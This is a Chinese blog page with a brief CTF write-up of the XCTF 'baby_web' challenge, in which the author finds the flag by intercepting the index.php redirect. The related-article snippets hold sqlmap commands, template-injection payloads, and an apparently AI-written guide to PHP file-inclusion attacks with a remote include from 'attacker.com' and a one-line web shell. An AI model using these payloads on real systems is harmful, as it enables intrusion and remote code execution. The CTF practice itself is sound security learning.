2020.3.27 xctf（baby_web）①

最新推荐文章于 2021-09-16 10:59:37 发布

原创最新推荐文章于 2021-09-16 10:59:37 发布 · 334 阅读

0 ·

CC 4.0 BY-SA版权

web安全专栏收录该内容

37 篇文章

订阅专栏

在这里插入图片描述观察题目内容，想想初始页面是哪个，再看看URL，尝试输入index.php试试看，发现直接跳转到1.php
那就用bp抓包拦截下来index.php页面，发送到repeater，go一下

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

藏蓝色的达达

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

专栏目录

网络攻防路4-xctf baby_web

大紫明宫空离境

11-07

450

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录前言一、pandas是什么？二、使用步骤 1.引入库 2.读入数据总结前言提示：这里可以添加本文要记录的大概内容：例如：随着人工智能的不断发展，机器学习这门技术也越来越重要，很多人都开启了学习机器学习，本文就介绍了机器学习的基础内容。提示：以下是本篇文章正文内容，下面案例可供参考一、pandas是什么？示例：pandas 是基于NumPy 的一种工具，该工具是为了...

2020.3.16 xctf_Cyberpeace-n3k0

DSR446的博客

03-17

1514

初识web安全题外话：我以前是学逆向和pwn的，每每看到别人学web那么厉害我心里痒痒的，所以开启了我web之路。但是我的逆向之路并没有放弃，明天开始继续窥探逆向和web的世界，pwn的话，要是有时间就看看。文章写的不是很好，望不要见笑。先说说这个php的弱类型比较，见链接：关于弱类型的比较 php中的弱类型比较会使’abc’ == 0为真，所以输入a=abc时...

参与评论您还未登录，请先登录后发表或查看评论

xctf_Baby_web

bring_coco的博客

07-11

543

Baby_web [目标] 从初始页面获得flag [环境] Windows [工具] 浏览器 [分析] 1.题目提到首页，因此尝试index.php，但是一直显示1.php，说明此处发生了跳转。 2.通过开发者工具查看index.php的网络可看到此处用到location，这是一个跳转，同时得到flag。 ...

xctf-baby_web 查看主页面xctf-

weixin_45895555的博客

05-28

275

这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入欢迎使用Markdown编辑器你好！这是你第一次使用 Markdown编辑器所展示的欢迎页。如果你想学习如何使用Mar

XCTF-高手进阶区：baby_web

1stPeak's Blog

02-29

545

注意题目的提示：初始页面，那么应该是index.php，但是输入index.php后又自动跳转到1.php，因为跳转，我们就使用F12或bp抓包查看index.php

XCTF-baby_web

weixin_45613760的博客

08-04

427

XCTF-baby_web查看题目描述打开链接，跳转到1.php输入index.php后发现跳转到1.php使用dirsearch扫描没有其他地址F12查看index.php的响应包，找到了flag 查看题目描述想想初始页面是哪个打开链接，跳转到1.php 根据题目推测需要转到index.php 输入index.php后发现跳转到1.php 使用dirsearch扫描没有其他地址 F12查看index.php的响应包，找到了flag ...

攻防世界XCTF：baby_web

末初 · mochu7

03-13

1201

根据提示，访问 index.php 发现很快又跳转回来了，F12打开调试器，看看数据包。在index.php中发现

XCTF攻防世界web.doc

09-19

【XCTF攻防世界Web WriteUp】在网络安全竞赛中，CTF（Capture The Flag）是一种常见的形式，其中“XCTF攻防世界”是一个专注于Web安全的平台，旨在帮助参与者提升网络安全技能，特别是Web应用的安全防御和攻击能力...

will-zhang_xctf_25356_1764665456755.zip

最新发布

12-03

由于提供的信息不足，无法确定具体的文件内容，因此无法生成与文件相关的详细文章摘要。若需生成相关文章摘要，请提供文件内部的具体内容或者相关的描述信息。

7.XCTF Web_php_include

山兔的博客

09-16

320

一打开网站，就看到了下面这串代码 <?php show_source(__FILE__); //查看文件 echo $_GET['hello']; //输出hello获取到的数据 $page=$_GET['page']; //变量page由参数page来决定 while (strstr($page, "php://")) { //当变量中有php://时， $page=str_replace("ph

XCTF-WEB 进阶区 baby_web

万丈⾼楼平地起，勿在浮沙筑⾼台学艺不精的安全菜鸡，改行回家养猪了，对博客有疑问欢迎留言，看到一定回

03-22

362

1.baby_web 题目提示访问网站自动跳转到1.php，尝试访问index.php之后会自动跳转到1.php F12抓包看下发现flag flag{very_baby_web}

2020.4.6 xctf(web2)①

DSR446的博客

04-06

261

感觉这就是一道php写的逆向题主要是得认得几个函数，和读懂整个代码的逻辑！！ 1.strrev函数 2.substr函数 3.str_rot13函数脚本如下： <?php $a=" a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; $a=str_rot13($a); $a=strrev($a); $a=b...

XCTF-WEB

qq_43661408的博客

06-22

582

post和get 题目链接：http://111.198.29.45:34348/ 解题思路首先使用 get方式提交变量a等于1 即 http://111.198.29.45:34348/?a=1 得到第二条信息需要使用post提交一个变量b值为2 因此使用火狐自带的插件hackbar,但是现在火狐更新后不能使用了，替代hackbar的插件有了 Max hackbar 和 hackbar q...

XCTF-攻防世界CTF平台-Web类——1、baby_web（HTTP响应）

Onlyone_1314的博客

09-01

594

打开题目，提示想想初始页面是哪个：打开题目场景：这个的主要思路是访问初始页面http://111.200.241.244:52996/index.php： Flag就在返回的响应数据包中的FLAG字段：flag{very_baby_web} 抓包也同样能找到flag http://111.200.241.244:52996/1.php http://111.200.241.244:52996/index.php ...

2020.3.31 xctf(Web_python_template_injection)①

DSR446的博客

03-31

386

根据题意可知python模块注入测试payload：http://111.198.29.45:31069/{{3+4}} 执行了{{}}中的代码。 {{''.__class__.__mro__[2].__subclasses__()}} {{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].list...

XCTF---web

空の城的博客

10-27

462

view_source 题目描述：X老师让小宁同学查看一个网页的源代码，但小宁同学发现鼠标右键好像不管用了。打开页面后右键查看不了源代码，从题目中可以知道小宁想要看源代码，所以按F12查看发现flag robots 题目描述：X老师上课讲了Robots协议，小宁同学却上课打了瞌睡，赶紧来教教小宁Robots协议是什么吧。根据题目提示，找到网站目录下的robots.txt 直接访问即可获得flag backup 题目描述：X老师忘记删除备份文件，他派小宁同学去把备份文件找出来...

2020.4.10 xctf(ics-04)

DSR446的博客

04-20

560

题目提示在登陆、注册页面有SQL注入漏洞除了忘记密码的那块，其他地方都没找到注入点用sqlmap在这里跑一下，看有没有注入获取数据库名： python sqlmap.py -u "http://159.138.137.79:49507/findpwd.php" --data "username=1" --dbs --batch 获取表名： python sqlmap.py -u "http...

2020.4.8 xctf(fakebook)

DSR446的博客

04-10

764

提示让我们注册一个账号，这里随便注册，注意一下blog的格式就行。然后用我们注册好的账号进行登录。登录后发现url 为 http://111.198.29.45:33988/view.php?no=1 ，第一时间想到是否存在sql注入，我们输入 ’ 根据报错的显示，可以肯定存在sql注入的，然后我们用 order by 语句判断查询的字段数目，以便于后续进行 union 查询，先 ...

攻防世界baby_web

热门推荐

知足且坚定，温柔且上进

01-23

1万+

题目描述：想想初始页面是哪个打开链接，发现跳转到了1.php 根据题目描述初始页面，我们知道，index一般为页面默认页，我们试试index.php,还是自动跳转到1.php，这是我们F12进入开发者模式，进入网络选项卡，发现有Index.php的文件，找到flag 我试了用Burpsuite抓包同样也能做出来，注意：我把起先的1.php改成了index.php，得到响应 Flag i...

xctf web_php_include

03-29

<think>好的，用户需要了解XCTF竞赛中与PHP include相关的Web安全漏洞的解题思路。首先，我应该回忆PHP中的文件包含漏洞，尤其是include函数的不当使用可能导致的安全问题。用户提到的引用[4]中的代码显示，$lan变量直接来自Cookie中的language值，然后拼接.php后缀进行包含。这种情况下，如果没有严格的过滤，攻击者可能通过修改Cookie来包含任意文件，比如利用路径遍历或者远程文件包含。接下来，我需要考虑常见的利用方法。例如，路径遍历攻击，用户可能构造类似../../etc/passwd的payload来读取系统文件。此外，如果服务器配置允许远程包含（allow_url_include为On），攻击者可以包含恶意服务器上的文件执行代码。引用[3]的PHP类型比较文档可能帮助理解变量处理，但这里更关键的是文件包含漏洞。然后，解题步骤可能包括：检查代码中是否存在未过滤的用户输入，尝试包含敏感文件如/etc/passwd，或者上传恶意文件并通过包含执行。例如，在引用[4]的情况中，设置Cookie的language为../../../tmp/uploaded_file，如果存在上传临时文件的话。还可能利用PHP伪协议，如php://filter来读取源码，比如?lan=php://filter/convert.base64-encode/resource=config，这样可以获取base64编码后的文件内容。同时，需要注意引用[2]中提到的情况，通过文件包含读取admin.php或function.php的源码，这可能泄露关键信息。此外，确保回答中引用了正确的来源，比如引用[4]的代码示例，说明如何利用Cookie进行文件包含。最后，生成相关问题时要覆盖漏洞原理、利用方式、防御措施和CTF中的其他常见漏洞，帮助用户全面理解。需要确保回答结构清晰，步骤详细，并且引用正确，比如在关键点后添加[^4]或[^2]。</think>### XCTF PHP include Web安全漏洞解题思路在CTF竞赛中，PHP的`include`函数常因未正确过滤用户输入导致文件包含漏洞。以下是基于引用[4]的代码分析及典型解题方法： --- #### **漏洞原理** 1. **关键代码片段** 通过Cookie中的`language`参数动态包含文件： ```php $lan = $_COOKIE['language']; @include($lan.".php"); ``` 若未对`$lan`进行过滤，攻击者可通过路径遍历（如`../../../etc/passwd`）或PHP伪协议（如`php://filter`）读取任意文件[^4]。 2. **漏洞利用条件** - 目标服务器开启`allow_url_include`（远程文件包含） - 文件路径可控且未限制文件后缀 --- #### **解题步骤** 1. **探测漏洞** - 修改Cookie中`language`值为`../../../../etc/passwd%00`，尝试读取系统文件（需PHP版本<5.3.4，因空字节截断漏洞）[^4]。 2. **利用PHP伪协议** - **读取源码**：构造Payload为`php://filter/convert.base64-encode/resource=index`，通过Base64解码获取源码： ```http Cookie: language=php://filter/convert.base64-encode/resource=index ``` - **远程代码执行**：若允许远程包含，设置`language=http://attacker.com/shell.txt`，触发恶意代码执行。 3. **结合文件上传** - 若存在文件上传功能，上传含恶意代码的图片（如`<?php system($_GET['cmd']);?>`），通过包含临时文件路径实现RCE： ```http Cookie: language=../../../tmp/uploaded_file ``` --- #### **防御措施** 1. 白名单限制包含路径（如只允许包含`en/`或`zh/`目录） 2. 使用`basename()`函数过滤路径中的特殊字符 3. 关闭`allow_url_include`配置 ---